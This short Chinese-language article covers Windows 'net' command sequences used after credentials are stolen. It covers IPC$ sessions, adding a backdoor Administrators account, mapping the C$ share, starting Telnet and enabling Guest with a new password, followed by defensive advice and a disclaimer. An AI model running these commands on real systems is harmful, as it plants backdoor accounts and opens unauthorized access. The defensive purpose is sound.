Windows 內建 net 指令功能強大，若駭客取得目標主機的帳號密碼，即可透過 IPC$ 空連線建立會話，進而建立帳號、映射磁碟、開啟 Telnet、啟用 Guest、修改密碼等高危操作。本文詳細記錄常見攻擊指令序列，供網管人員理解威脅模型、強化防禦配置。

核心攻擊指令流程

1. 建立 IPC$ 連線（需有效帳密）

net use \\127.0.0.1\ipc$ "123456" /user:"hbx"

斷開連線：net use \\127.0.0.1\ipc$ /delete

2. 建立管理員權限後門帳號

net user heibai lovechina /add
net localgroup Administrators heibai /add

3. 映射遠端 C 槽至本機 Z 槽

net use z: \\127.0.0.1\c$

4. 開啟 Telnet 服務

net start telnet

5. 啟用 Guest 帳號並修改密碼

net user guest /active:yes
net user guest lovechina

防禦建議

• 嚴格管控帳號密碼複雜度，定期輪換，禁用不必要的服務（Telnet、IPC$ 共享）。
• 部署主機型入侵防禦系統（HIPS）監控 net 異常調用。
• 啟用 Windows 防火牆封鎖 445/139 埠，限制 SMB 存取來源 IP。
• 稽核登入事件（事件 ID 4624/4625），異常登入即時告警。
• 最小權限原則：一般使用者不可加入 Administrators 群組。

聲明：本文旨在揭露攻擊手法以利防禦，嚴禁用於非法入侵。任何未經授權的滲透測試均屬違法，後果自負。